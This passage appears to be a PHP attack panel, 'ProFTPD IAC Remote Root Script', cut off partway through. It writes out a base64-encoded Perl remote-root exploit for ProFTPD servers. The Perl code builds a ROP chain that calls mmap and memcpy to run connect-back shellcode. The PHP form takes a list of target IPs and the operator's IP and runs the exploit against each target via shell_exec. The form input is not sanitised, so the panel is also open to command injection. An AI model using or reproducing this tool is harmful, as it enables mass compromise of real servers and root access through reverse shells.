Zm9yIGFzc2VtYmx5IGluc3RydWN0aW9ucyBpbiB0aGUgcHJvZnRwZCBtZW1vcnkgc3BhY2UgcmVs
YXRpdmUgdG8gd3JpdGUoMikKIyAgICAgc3VjaCBhcyBwb3AgcG9wIHJldCBpbnN0cnVjdGlvbnMK
IyAzLikgY2FsbCBtbWFwNjQoKSB0byBtYXAgYXQgYWRkcmVzcyAweDEwMDAwMDAwIHdpdGggcHJv
dGVjdGlvbiByZWFkLHdyaXRlLGV4ZWN1dGUKIyA0LikgY2FsY3VsYXRlIG9mZnNldCBmb3IgbWVt
Y3B5KCkgd2hpY2ggaXMgbGF0ZXIgdXNlZCB0byBjb25zdHJ1Y3QgdGhlIHNoZWxsY29kZSBjb3B5
IHJvdXRpbmUKIyA0LikgY29weSBrbm93biBhc3NlbWJseSBpbnN0cnVjdGlvbnMgKHdoaWNoIGhh
dmUgYmVlbiBmb3VuZCBiZWZvcmUgdXNpbmcgdGhlIG1lbW9yeSByZWFkKQojICAgICB0byBhZGRy
ZXNzIDB4MTAwMDAwMDAuIHRoZXNlIGluc3RydWN0aW9ucyB3aWxsIGNvcHkgdGhlIHNoZWxsY29k
ZSBmcm9tIEVTUCB0byAweDEwMDAwMTAwCiMgICAgIGFuZCBtYWtlIHVzZSBvZiB0aGUgbWVtY3B5
IGZvdW5kIGJlZm9yZQojIDUuKSBhY3R1YWxseSBqdW1wIHRvIHRoZSBzaGVsbGNvZGUgZmluZGVy
CiMgNi4pIG9uY2UgdGhlIHNoZWxsY29kZSBoYXMgYmVlbiBjb3BpZWQgdG8gMHgxMDAwMDEwMCBq
dW1wIHRvIGl0CiMgNy4pIHNoZWxsY29kZSBnZXRzIGV4ZWN1dGVkIGFuZCB3ZSBoYXZlIG91ciBk
ZXNpcmVkIHJvb3Qgc2hlbGwuCgpzdWIgZXhwbG9pdDIgewoJcHJpbnRmKCJbJHRhcmdldF0gJXMg
OnBQXG4iLCAkdGFyZ2V0c1skdHR5cGVdWzBdKTsKCSRhbGlnbiA9ICR0YXJnZXRzWyR0dHlwZV1b
NF07Cgkkd3JpdGVfb2Zmc2V0ID0gJHRhcmdldHNbJHR0eXBlXVszXTsKCSRwYWRkaW5nID0gJHRh
cmdldHNbJHR0eXBlXVs1XTsKCQkKCSR8PTE7CglwcmludCAiYWxpZ24gPSAkYWxpZ25cbiI7Cglw
cmludCAiU2Vla2luZyBmb3Igd3JpdGUoMikuLlxuIjsKCQoJI2tub3duIGdvb2Qgd3JpdGUoMikg
dmFsdWVzCgkjMHgwODA0QzI5MAoJIzB4MDgwNEE4NUMKCSMweDA4MDRBMjM0CgkjMHgwODA1Mjgz
MAoJIzA4MDUzMkQ4IHByb2Z0cGQtYmFzaWNfMS4zLjNhLTRfaTM4NgoJIzA4MDUyOTM4IHByb2Z0
cGQtYmFzaWNfMS4zLjJlLTRfaTM4NiAodWJ1bnV0dSkKCSMwODA0Q0NENCBwc2EtcHJvZnRwZF8x
LjMuMmUtZGViaWFuNS4wLmJ1aWxkOTUxMDA1MDQuMTdfaTM4NiAhIQoKCXByaW50ZiAiVXNpbmcg
d3JpdGUgb2Zmc2V0ICUwOHguXG4iLCAkd3JpdGVfb2Zmc2V0OwoJJGsgPSAkd3JpdGVfb2Zmc2V0
OwoJJHNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJHRhcmdldCwKICAg
ICAgCSAgICAgICAgICAgICAgICAgICAgICAgICAgUGVlclBvcnQgPT4gMjEsCiAgICAgICAgICAg
CQkgICAgICAgICAgICAgICAgICBQcm90byAgICA9PiAndGNwJyk7CgoJJHNvY2stPnNvY2tvcHQo
U09fTElOR0VSLCBwYWNrKCJpaSIsIDEsIDApKTsKCSMkeCA9IDxzdGRpbj47Cgkkc3RhY2sgPSAi
S0NPUEVSVUxFWktDT1BFUlVMRVpLQyIuICJDIiB4ICRwYWRkaW5nIC4gCgkJCSBwYWNrKCJWIiwg
JGspLiAgIyB3cml0ZQoJCQkgIlx4Y2NceGNjXHhjY1x4Y2MiLgoJCQkgIlx4MDFceDAwXHgwMFx4
MDAiLgkjIGZkIGZvciB3cml0ZQoJCQkgcGFjaygiViIsICRrKS4gIyBidWZmZXIgZm9yIHdyaXRl
CgkJCSAiXHhmZlx4ZmZceDAwXHgwMCI7CSMgbGVuZ3RoIGZvciB3cml0ZQoKCSR2ID0gPCRzb2Nr
PjsKCQoJcHJpbnQgJHNvY2sgIlx4MDAiIHggJGFsaWduIC4gIlx4ZmYiIC4gJHN0YWNrIC4gIlxu
IjsKCQoJdmVjICgkcmZkLCBmaWxlbm8oJHNvY2spLCAxKSA9IDE7CgoJJHRpbWVvdXQgPSAxOwog
ICAgaWYgKHNlbGVjdCAoJHJmZCwgdW5kZWYsIHVuZGVmLCAkdGltZW91dCkgPj0gMAogICAgICAg
ICAgICAgJiYgdmVjKCRyZmQsIGZpbGVubygkc29jayksIDEpKQogICAgewogICAgICAgaWYgKHJl
YWQoJHNvY2ssICRidWZmLCAweGZmZmYpID09IDB4ZmZmZikgewoJCXByaW50ZiAiXG5TVUNDRVNT
LiB3cml0ZSgyKSBpcyBhdCAlMDh4XG4iLCAkazsJCgkJY2xvc2UoJHNvY2spOwoJCWdvdG8gbGJs
MTsKCQl9CiAgICB9CiAgICAKCWNsb3NlKCRzb2NrKTsKCXByaW50ZiAid3Jvbmcgd3JpdGUoMikg
b2Zmc2V0LlxuIjsKCWV4aXQ7CgpsYmwxOgojCU9uY2Ugd2UncmUgaGVyZSBjaGFuY2VzIGFyZSBn
b29kIHRoYXQgd2UgZ2V0IHRoZSByb290IHNoZWxsCgoJcHJpbnQgIlJlYWRpbmcgbWVtb3J5IGZy
b20gc2VydmVyLi4uXG4iOwoJbXkgJHNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFk
ZHIgPT4gJHRhcmdldCwKICAgICAgCSAgICAgICAgICAgICAgICAgICAgICAgICAgUGVlclBvcnQg
PT4gMjEsCiAgICAgICAgICAgCQkgICAgICAgICAgICAgICAgICBQcm90byAgICA9PiAndGNwJyk7
CQoJCgkkc3RhY2sgPSAiS0NPUEVSVUxFWktDT1BFUlVMRVpLQyIgLiAiQyIgeCAkcGFkZGluZyAu
IAoJCQkgcGFjaygiViIsICRrKS4gICMgd3JpdGUKCQkJICJceGNjXHhjY1x4Y2NceGNjIi4KCQkJ
ICJceDAxXHgwMFx4MDBceDAwIi4JIyBmZCBmb3Igd3JpdGUKCQkJIHBhY2soIlYiLCAkaykuICMg
YnVmZmVyIGZvciB3cml0ZQoJCQkgIlx4ZmZceGZmXHgwZlx4MDAiOwkjIGxlbmd0aCBmb3Igd3Jp
dGUKCgkkdiA9IDwkc29jaz47CgkKCXByaW50ICRzb2NrICJceDAwIiB4ICRhbGlnbiAuICJceGZm
IiAuICRzdGFjayAuICJcbiI7IAoJCglyZWFkKCRzb2NrLCAkYnVmZiwgMHhmZmZmZik7CgoJaWYg
KCgkdiA9IGluZGV4ICRidWZmLCAiXHg1RVx4NUZceDVEIikgPj0gMCkgewoJCSRwb3AzcmV0ID0g
JGsgKyAkdjsKCQlwcmludGYgInBvcCBwb3AgcG9wIHJldCBsb2NhdGVkIGF0ICUwOHhcbiIsICRw
b3AzcmV0OwoJfSBlbHNlIHsKCQlwcmludCAiQ291bGQgbm90IGZpbmQgcG9wIHBvcCBwb3AgcmV0
XG4iOwoJCWV4aXQ7Cgl9CgkKCWlmICgoJHYgPSBpbmRleCAkYnVmZiwgIlx4ODNceEM0XHgyMFx4
NUJceDVFXHg1RFx4QzMiKSA+PSAwKSB7CgkJJGxhcmdlcG9wcmV0ID0gJGsgKyAkdjsKCQlwcmlu
dGYgImxhcmdlIHBvcCByZXQgbG9jYXRlZCBhdCAlMDh4XG4iLCAkbGFyZ2Vwb3ByZXQ7Cgl9IGVs
c2UgewoJCXByaW50ICJDb3VsZCBub3QgZmluZCBwb3AgcG9wIHBvcCByZXRcbiI7CgkJZXhpdDsK
CX0KCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceEM3XHg0NFx4MjRceDA4XHgwM1x4MDBceDAw
XHgwMFx4QzdceDA0XHgyNFx4MDBceDAwXHgwMFx4MDBceDg5XHg0NFx4MjRceDA0IikgPj0gMCkg
ewoJCSRhZGRyMSA9ICRrKyR2KzIzOwoJCQoJCSRtbWFwNjQgPSB1bnBhY2soIkkiLCBzdWJzdHIo
JGJ1ZmYsICR2KzIwLCA0KSk7CgkJJG1tYXA2NCA9ICRhZGRyMSAtICgweGZmZmZmZmZmLSRtbWFw
NjQpOwoJCXByaW50ZiAibW1hcDY0IGlzIGxvY2F0ZWQgYXQgJTA4eFxuIiwgJG1tYXA2NDsKCX0g
ZWxzZSB7CgkJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHg4OVx4NDRceDI0XHgxMFx4QTFceEJD
XHhBNVx4MEZceDA4XHg4OVx4NDRceDI0XHgwNFx4ZTgiKSA+PSAwKSB7CgkJCSRhZGRyMSA9ICRr
KyR2KzE3OwoJCQoJCQkkbW1hcDY0ID0gdW5wYWNrKCJJIiwgc3Vic3RyKCRidWZmLCAkdisxNCwg
NCkpOwoJCQkkbW1hcDY0ID0gJGFkZHIxIC0gKDB4ZmZmZmZmZmYtJG1tYXA2NCk7CgkJCXByaW50
ZiAibW1hcDY0IGlzIGxvY2F0ZWQgYXQgJTA4eFxuIiwgJG1tYXA2NDsKCQl9IGVsc2UgewoJCQlw
cmludCAiQ291bGQgbm90IGZpbmQgbW1hcDY0KClcbiI7CgkJCWV4aXQ7CgkJfQoJfQoJCgkJCgkJ
CgkJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHg4RFx4NDVceEY0XHg4OVx4MDRceDI0XHg4OVx4
NTRceDI0XHgwOFx4OEJceDU1XHgwOFx4ODlceDU0XHgyNFx4MDRceEU4IikgPj0gMCkgewoJCQkk
YWRkcjEgPSAkayskdisyMTsKCQkJJG1lbWNweSA9IHVucGFjaygiSSIsIHN1YnN0cigkYnVmZiwg
JHYrMTgsIDQpKTsKCQkJJG1lbWNweSA9ICRhZGRyMSAtICgweGZmZmZmZmZmLSRtZW1jcHkpOwoJ
CQlwcmludGYgIm1lbWNweSBpcyBsb2NhdGVkIGF0ICUwOHhcbiIsICRtZW1jcHk7CgkJfSBlbHNl
IHsJCQoJCQoJCWlmICgoJHYgPSBpbmRleCAkYnVmZiwgIlx4OEJceDU2XHgxMFx4ODlceDQ0XHgy
NFx4MDhceDg5XHg1NFx4MjRceDA0XHg4Qlx4NDVceEU0XHg4OVx4MDRceDI0XHhlOCIpID49IDAp
IHsKCQkJJGFkZHIxID0gJGsrJHYrMjE7CgkJCgkJCSRtZW1jcHkgPSB1bnBhY2soIkkiLCBzdWJz
dHIoJGJ1ZmYsICR2KzE4LCA0KSk7CgkJCSRtZW1jcHkgPSAkYWRkcjEgLSAoMHhmZmZmZmZmZi0k
bWVtY3B5KTsKCQkJcHJpbnRmICJtZW1jcHkgaXMgbG9jYXRlZCBhdCAlMDh4XG4iLCAkbWVtY3B5
OwoJCX0gZWxzZSB7CgkJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHg4OVx4NDRceDI0XHgwNFx4
QTFceEJDXHg5Rlx4MEVceDA4XHg4OVx4MDRceDI0IikgPj0gMCkgewoJCQkkYWRkcjEgPSAkaysk
disxNjsKCQkKCQkJJG1lbWNweSA9IHVucGFjaygiSSIsIHN1YnN0cigkYnVmZiwgJHYrMTMsIDQp
KTsKCQkJJG1lbWNweSA9ICRhZGRyMSAtICgweGZmZmZmZmZmLSRtZW1jcHkpOwoJCQlwcmludGYg
Im1lbWNweSBpcyBsb2NhdGVkIGF0ICUwOHhcbiIsICRtZW1jcHk7CgkJfSBlbHNlIHsKCQlpZiAo
KCR2ID0gaW5kZXggJGJ1ZmYsICJceDg5XHg3Q1x4MjRceDA0XHg4OVx4MUNceDI0XHg4OVx4NDRc
eDI0XHgwOCIpID49IDApIHsKCQkJJGFkZHIxID0gJGsrJHYrMTU7CgkJCgkJCSRtZW1jcHkgPSB1
bnBhY2soIkkiLCBzdWJzdHIoJGJ1ZmYsICR2KzEyLCA0KSk7CgkJCSRtZW1jcHkgPSAkYWRkcjEg
LSAoMHhmZmZmZmZmZi0kbWVtY3B5KTsKCQkJcHJpbnRmICJtZW1jcHkgaXMgbG9jYXRlZCBhdCAl
MDh4XG4iLCAkbWVtY3B5OwoJCgkJfQkgZWxzZSB7CgkJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAi
XHg4Qlx4NTVceDEwXHg4OVx4NzRceDI0XHgwNFx4ODlceDA0XHgyNFx4ODlceDU0XHgyNFx4MDgi
KSA+PSAwKSB7CgkJCSRhZGRyMSA9ICRrKyR2KzE4OwoJCQkkbWVtY3B5ID0gdW5wYWNrKCJJIiwg
c3Vic3RyKCRidWZmLCAkdisxNSwgNCkpOwoJCQkkbWVtY3B5ID0gJGFkZHIxIC0gKDB4ZmZmZmZm
ZmYtJG1lbWNweSk7CgkJCXByaW50ZiAibWVtY3B5IGlzIGxvY2F0ZWQgYXQgJTA4eFxuIiwgJG1l
bWNweTsKCQl9IGVsc2UgewoJCQkKCQkJcHJpbnQgIkNvdWxkIG5vdCBmaW5kIG1lbWNweSgpXG4i
OwoJCQlleGl0OwkKCQl9CgkJfQoJCX0KCQl9CQoJfQoJCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYs
ICJceGZjXHg4YiIpID49IDApIHsKCQkkYnl0ZTEgPSAkayskdjsKCQlwcmludGYgKCJieXRlMTog
JTA4eFxuIiwgJGJ5dGUxKTsJCgl9IGVsc2UgewoJCXByaW50ICJDb3VsZCBub3QgZmluZCBhIHNw
ZWNpYWwgYnl0ZVxuIjsKCQlleGl0OwkKCX0KCQoJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHhm
NCIpID49IDApIHsKCQkkYnl0ZTIgPSAkayskdjsKCQlwcmludGYgKCJieXRlMjogJTA4eFxuIiwg
JGJ5dGUyKTsKCX0gZWxzZSB7CgkJcHJpbnQgIkNvdWxkIG5vdCBmaW5kIGEgc3BlY2lhbCBieXRl
XG4iOwoJCWV4aXQ7CQoJfQoJCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceGJmIikgPj0gMCkg
ewoJCSRieXRlMyA9ICRrKyR2OwoJCXByaW50ZiAoImJ5dGUzOiAlMDh4XG4iLCAkYnl0ZTMpOwkK
CX0gZWxzZSB7CgkJcHJpbnQgIkNvdWxkIG5vdCBmaW5kIGEgc3BlY2lhbCBieXRlXG4iOwoJCWV4
aXQ7CQoJfQoJCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceDAwXHgwMVx4MDAiKSA+PSAwKSB7
CgkJJGJ5dGU0ID0gJGsrJHY7CgkJcHJpbnRmICgiYnl0ZTQ6ICUwOHhcbiIsICRieXRlNCk7CQoJ
fSBlbHNlIHsKCQlwcmludCAiQ291bGQgbm90IGZpbmQgYSBzcGVjaWFsIGJ5dGVcbiI7CgkJZXhp
dDsJCgl9CgoJaWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHgxMCIpID49IDApIHsKCQkkYnl0ZTUg
PSAkayskdjsKCQlwcmludGYgKCJieXRlNTogJTA4eFxuIiwgJGJ5dGU1KTsJCgl9IGVsc2UgewoJ
CXByaW50ICJDb3VsZCBub3QgZmluZCBhIHNwZWNpYWwgYnl0ZVxuIjsKCQlleGl0OwkKCX0KCQoJ
aWYgKCgkdiA9IGluZGV4ICRidWZmLCAiXHhCOVx4MDBceDAyXHgwMFx4MDAiKSA+PSAwKSB7CgkJ
JGJ5dGU2ID0gJGsrJHY7CgkJcHJpbnRmICgiYnl0ZTY6ICUwOHhcbiIsICRieXRlNik7CQoJfSBl
bHNlIHsKCQlwcmludCAiQ291bGQgbm90IGZpbmQgYSBzcGVjaWFsIGJ5dGVcbiI7CgkJZXhpdDsJ
Cgl9CgkKCglpZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceGYzIikgPj0gMCkgewoJCSRieXRlNyA9
ICRrKyR2OwoJCXByaW50ZiAoImJ5dGU3OiAlMDh4XG4iLCAkYnl0ZTcpOwkKCX0gZWxzZSB7CgkJ
cHJpbnQgIkNvdWxkIG5vdCBmaW5kIGEgc3BlY2lhbCBieXRlXG4iOwoJCWV4aXQ7CQoJfQoJCglp
ZiAoKCR2ID0gaW5kZXggJGJ1ZmYsICJceEE0IikgPj0gMCkgewoJCSRieXRlOCA9ICRrKyR2OwoJ
CXByaW50ZiAoImJ5dGU4OiAlMDh4XG4iLCAkYnl0ZTgpOwoJfSBlbHNlIHsKCQlwcmludCAiQ291
bGQgbm90IGZpbmQgYSBzcGVjaWFsIGJ5dGVcbiI7CgkJZXhpdDsJCgl9CgkKCWlmICgoJHYgPSBp
bmRleCAkYnVmZiwgIlx4ZWJceGZmIikgPj0gMCkgewoJCSRieXRlOSA9ICRrKyR2OwoJCXByaW50
ZiAoImJ5dGU5OiAlMDh4XG4iLCAkYnl0ZTkpOwoJfSBlbHNlIHsKCQlwcmludCAiQ291bGQgbm90
IGZpbmQgYSBzcGVjaWFsIGJ5dGVcbiI7CgkJZXhpdDsJCgl9CgkKIyBzaGVsbGNvZGUgY29weSBy
b3V0aW5lOgojMDEwMDc0MEIgICAgIEZDICAgICAgICAgICAgIENMRAojMDEwMDc0MEMgICAgIDhC
RjQgICAgICAgICAgIE1PViBFU0ksRVNQCiMwMTAwNzQwRSAgICAgQkYgMDAwMTAwMTAgICAgTU9W
IEVESSwxMDAwMDEwMAojMDEwMDc0MTMgICAgIEI5IDAwMDIwMDAwICAgIE1PViBFQ1gsMjAwCiMw
MTAwNzQxOCAgICAgRjM6QTQgICAgICAgICAgUkVQIE1PVlMgQllURSBQVFIgRVM6W0VESV0sQllU
RSBQVFIgRFM6Wz4KIwkJCSAgRUIgRkYgCQkgSk1QICsweEZGCQkKIyBGQyA4QgkKIyBGNCBCRgoj
IDAwIDAxIDAwCiMgMTAKIyBCOSAwMCAwMiAwMCAwMAojIEYzOkE0CiMgRUIgRkYKCiMgRWwxVGUg
WC1QbG9pdCBUZWNoTmlxVWUgKEMpCgoJcHJpbnQgIkJ1aWxkaW5nIGV4cGxvaXQgYnVmZmVyXG4i
OwoKCSRzdGFjayA9ICJLQ09QRVJVTEVaS0NPUEVSVUxFWktDIiAuICJDIiB4ICRwYWRkaW5nIC4g
CgkJCSBwYWNrKCJWIiwgJG1tYXA2NCkuICMgbW1hcDY0KCkKCQkJIHBhY2soIlYiLCAkbGFyZ2Vw
b3ByZXQpLiAjIGFkZCAgICAgZXNwLCAyMGg7IHBvcDsgcG9wCgkJCSAiXHgwMFx4MDBceDAwXHgx
MCIuICMgbW1hcCBzdGFydAoJCQkgIlx4MDBceDEwXHgwMFx4MDAiLiAjIG1tYXAgc2l6ZQoJCQkg
Ilx4MDdceDAwXHgwMFx4MDAiLiAjIG1tYXAgcHJvdAoJCQkgIlx4MzJceDAwXHgwMFx4MDAiLiAj
IG1tYXAgZmxhZ3MKCQkJICJceGZmXHhmZlx4ZmZceGZmIi4gIyBtbWFwIGZkCgkJCSAiXHgwMFx4
MDBceDAwXHgwMCIuICMgbW1hcCBvZmZzZXQKCQkJICJceDAwXHgwMFx4MDBceDAwIi4gIyBtbWFw
IG9mZnNldAkJCSAKCQkJICJceDAwXHgwMFx4MDBceDAwIi4KCQkJICJceDAwXHgwMFx4MDBceDAw
Ii4KCQkJICJceDAwXHgwMFx4MDBceDAwIi4KCQkJICJceDAwXHgwMFx4MDBceDAwIi4KCQkJIHBh
Y2soIlYiLCAkbWVtY3B5KS4gIyBtZW1jcHkoKQoJCQkgcGFjaygiViIsICRwb3AzcmV0KS4gIyBw
b3A7IHBvcDsgcG9wOyByZXRuCgkJCSAiXHgwMFx4MDBceDAwXHgxMCIuICMgZGVzdGluYXRpb24K
CQkJIHBhY2soIlYiLCAkYnl0ZTEpLiAjIG9yaWdpbgoJCQkgIlx4MDJceDAwXHgwMFx4MDAiLiAj
IG51bWJlciBvZiBieXRlcyB0byBjb3B5CgkJCSAKCQkJIHBhY2soIlYiLCAkbWVtY3B5KS4gIyBt
ZW1jcHkoKQoJCQkgcGFjaygiViIsICRwb3AzcmV0KS4gIyBwb3A7IHBvcDsgcG9wOyByZXRuCgkJ
CSAiXHgwMlx4MDBceDAwXHgxMCIuICMgZGVzdGluYXRpb24KCQkJIHBhY2soIlYiLCAkYnl0ZTIp
LiAjIG9yaWdpbgoJCQkgIlx4MDFceDAwXHgwMFx4MDAiLiAjIG51bWJlciBvZiBieXRlcyB0byBj
b3B5CgoJCQkgcGFjaygiViIsICRtZW1jcHkpLiAjIG1lbWNweSgpCgkJCSBwYWNrKCJWIiwgJHBv
cDNyZXQpLiAjIHBvcDsgcG9wOyBwb3A7IHJldG4KCQkJICJceDAzXHgwMFx4MDBceDEwIi4gIyBk
ZXN0aW5hdGlvbgoJCQkgcGFjaygiViIsICRieXRlMykuICMgb3JpZ2luCgkJCSAiXHgwMVx4MDBc
eDAwXHgwMCIuICMgbnVtYmVyIG9mIGJ5dGVzIHRvIGNvcHkKCQkJIAkJCSAKCQkJIHBhY2soIlYi
LCAkbWVtY3B5KS4gIyBtZW1jcHkoKQoJCQkgcGFjaygiViIsICRwb3AzcmV0KS4gIyBwb3A7IHBv
cDsgcG9wOyByZXRuCgkJCSAiXHgwNFx4MDBceDAwXHgxMCIuICMgZGVzdGluYXRpb24KCQkJIHBh
Y2soIlYiLCAkYnl0ZTQpLiAjIG9yaWdpbgoJCQkgIlx4MDNceDAwXHgwMFx4MDAiLiAjIG51bWJl
ciBvZiBieXRlcyB0byBjb3B5CgkJCSAKCQkJIHBhY2soIlYiLCAkbWVtY3B5KS4gIyBtZW1jcHko
KQoJCQkgcGFjaygiViIsICRwb3AzcmV0KS4gIyBwb3A7IHBvcDsgcG9wOyByZXRuCgkJCSAiXHgw
N1x4MDBceDAwXHgxMCIuICMgZGVzdGluYXRpb24KCQkJIHBhY2soIlYiLCAkYnl0ZTUpLiAjIG9y
aWdpbgoJCQkgIlx4MDFceDAwXHgwMFx4MDAiLiAjIG51bWJlciBvZiBieXRlcyB0byBjb3B5CgkJ
CSAKCQkJIHBhY2soIlYiLCAkbWVtY3B5KS4gIyBtZW1jcHkoKQoJCQkgcGFjaygiViIsICRwb3Az
cmV0KS4gIyBwb3A7IHBvcDsgcG9wOyByZXRuCgkJCSAiXHgwOFx4MDBceDAwXHgxMCIuICMgZGVz
dGluYXRpb24KCQkJIHBhY2soIlYiLCAkYnl0ZTYpLiAjIG9yaWdpbgoJCQkgIlx4MDVceDAwXHgw
MFx4MDAiLiAjIG51bWJlciBvZiBieXRlcyB0byBjb3B5CgoJCQkgcGFjaygiViIsICRtZW1jcHkp
LiAjIG1lbWNweSgpCgkJCSBwYWNrKCJWIiwgJHBvcDNyZXQpLiAjIHBvcDsgcG9wOyBwb3A7IHJl
dG4KCQkJICJceDBkXHgwMFx4MDBceDEwIi4gIyBkZXN0aW5hdGlvbgoJCQkgcGFjaygiViIsICRi
eXRlNykuICMgb3JpZ2luCgkJCSAiXHgwMVx4MDBceDAwXHgwMCIuICMgbnVtYmVyIG9mIGJ5dGVz
IHRvIGNvcHkKCgkJCSBwYWNrKCJWIiwgJG1lbWNweSkuICMgbWVtY3B5KCkKCQkJIHBhY2soIlYi
LCAkcG9wM3JldCkuICMgcG9wOyBwb3A7IHBvcDsgcmV0bgoJCQkgIlx4MGVceDAwXHgwMFx4MTAi
LiAjIGRlc3RpbmF0aW9uCgkJCSBwYWNrKCJWIiwgJGJ5dGU4KS4gIyBvcmlnaW4KCQkJICJceDAx
XHgwMFx4MDBceDAwIi4gIyBudW1iZXIgb2YgYnl0ZXMgdG8gY29weQoJCQkgCgkJCSBwYWNrKCJW
IiwgJG1lbWNweSkuICMgbWVtY3B5KCkKCQkJIHBhY2soIlYiLCAkcG9wM3JldCkuICMgcG9wOyBw
b3A7IHBvcDsgcmV0bgoJCQkgIlx4MGZceDAwXHgwMFx4MTAiLiAjIGRlc3RpbmF0aW9uCgkJCSBw
YWNrKCJWIiwgJGJ5dGU5KS4gIyBvcmlnaW4KCQkJICJceDAyXHgwMFx4MDBceDAwIi4gIyBudW1i
ZXIgb2YgYnl0ZXMgdG8gY29weQoJCQkgCgkJCSAiXHgwMFx4MDBceDAwXHgxMCIuICMgSlVNUCBU
TyAweDEwMDAwMDAwIHJ3eHAgYWRkcmVzcwkJCSAKCgkJCSAiXHg5MCIgeCAxMDAgLiAkc2hlbGxj
b2RlIC4gIlx4OTAiIHggMTA7CQkKCQoJcHJpbnQgIlNlbmRpbmcgZXhwbG9pdCBidWZmZXIhXG4i
OwoJCglteSAkc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkdGFyZ2V0
LAogICAgICAJICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiAyMSwKICAgICAg
ICAgICAJCSAgICAgICAgICAgICAgICAgIFByb3RvICAgID0+ICd0Y3AnKTsJCQkJIAoJJHYgPSA8
JHNvY2s+OwoKCXByaW50ICRzb2NrICJceDAwIiB4ICRhbGlnbiAuICJceGZmIiAuICRzdGFjayAu
ICJcbiI7CgkKCXByaW50ICJDaGVjayB5b3VyIG5ldGNhdD9cbiI7CgkKCXdoaWxlKDwkc29jaz4p
IHsKCQlwcmludDsJCgl9CQkJIAp9CgpzdWIgdXNhZ2UoKSB7CglwcmludCAid3JpdHRlbiBieSBr
aW5nY29wZVxuIjsKIAlwcmludCAidXNhZ2U6XG4iLgogCQkgICJwcm9yZW1vdGUucGwgPHRhcmdl
dCBpcC9ob3N0PiA8eW91ciBpcD4gPHRhcmdldCB0eXBlPlxuXG4iOwogICAgZm9yICgkaT0wOyAk
aTwkbnVtdGFyZ2V0czsgJGkrKykgewogIAkJcHJpbnQgIlx0WyIuJGkuIl1cdCIuICR0YXJnZXRz
WyRpXVswXS4gIlxyXG4iOwogICAgfQogCQkgIApleGl0Owp9CgppZiAoJCNBUkdWIG5lIDIpIHsg
dXNhZ2U7IH0KCiR0YXJnZXQgPSAkQVJHVlswXTsKJGNiaXAgPSAkQVJHVlsxXTsKJHR0eXBlID0g
JEFSR1ZbMl07CgokcGxhdGZvcm0gPSAkdGFyZ2V0c1skdHR5cGVdWzFdOwokc3R5bGUgPSAkdGFy
Z2V0c1skdHR5cGVdWzJdOwoKKCRhMSwgJGEyLCAkYTMsICRhNCkgPSBzcGxpdCgvLywgZ2V0aG9z
dGJ5bmFtZSgiJGNiaXAiKSk7CgppZiAoJHBsYXRmb3JtIGVxICJGcmVlQlNEIikgewoJJHNoZWxs
Y29kZSA9ICRic2RjYnNjOwoJc3Vic3RyKCRzaGVsbGNvZGUsIDM3LCA0LCAkYTEgLiAkYTIgLiAk
YTMgLiAkYTQpOwp9IGVsc2UgeyAKaWYgKCRwbGF0Zm9ybSBlcSAiTGludXgiKSB7Cgkkc2hlbGxj
b2RlID0gJGxueGNic2M7CglzdWJzdHIoJHNoZWxsY29kZSwgMzEsIDQsICRhMSAuICRhMiAuICRh
MyAuICRhNCk7Cn0gZWxzZSB7CglwcmludCAidHlwbyA/XG4iOwoJZXhpdDsKfX0KCmlmICgkc3R5
bGUgZXEgMCkgewoJZXhwbG9pdDE7Cn0gZWxzZSB7CglleHBsb2l0MjsJCn0KCnByaW50ICJkb25l
LlxuIjsKZXhpdDs=\';
$file = fopen("proftpd.pl" ,"w+");
$write = fwrite ($file ,base64_decode($proftp));
fclose($file);
class proftpd{
public function perl($ipler,$ipadresin,$sayi){
$calistir=shell_exec("perl proftpd.pl ".$ipler." ".$ipadresin." ".$sayi."");
echo "<font size=\'3\' color=\'white\'>".$calistir."</font><br>";
ob_flush();
flush();
}
}
echo \'<center><title>ProFTPD IAC Remote Root Script - </title>
<body bgcolor="black">
<form method="post" action="">
<font size="5" color="red">Redsecurity</font> <font size="5" color="white">ProFTPD IAC Remote Root Script[Priv8]</font><br><br><font size="2" color="white">Ipler : </font><br><textarea name="ipler" cols="35" rows="5"></textarea><br>
<font size="2" color="white">Seim : </font><br><select name="secim">
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select><br>
<font size="2" color="white">IP adresiniz : </font><br><input type="text" name="ipadresin"><br>
<input type="submit" value="w00t">
</form>
</body>
</center>\';
if(! $_POST[\'ipler\']==""){
$pro=new proftpd();
$ipadresin=$_POST[\'ipadresin\'];
$ipler=explode("\n",$_POST[\'ipler\']);
foreach($ipler as $ip){
$ip=trim($ip);
if($_POST[\'secim\']==0){
$pro->perl($ip,$ipadresin,\'0\');
}
if($_POST[\'secim\']==1){
$pro->perl($ip,$ipadresin,\'1\');
}
if($_POST[\'secim\']==2){
$pro->perl($ip,$ipadresin,\'2\');
}
if($_POST[\'secim\']==3){
$pro->perl($ip,$ipadresin,\'3\');
}
if($_POST[\'secim\']==4){
$pro->perl($ip,$ipadresin,\'4\');
}
if($_POST[\'secim\']==5){
$pro->perl($ip,$ipadresin,\'5\');
}
if($_POST[\'secim\']==6){
$pro->perl($ip,$ipadresin,\'6\');
}
if($_POST[\'secim\']==7){
$pro->perl($ip,$ipadresin,\'7\');
}
if($_POST[\'secim\']==8){
$pro->perl($ip,$ipadresin,\'8\');
}
if($_POST[\'secim\']==9){
$pro->perl($ip,$ipadresin,\'9\');
}
if($_POST[\'secim\']==10){
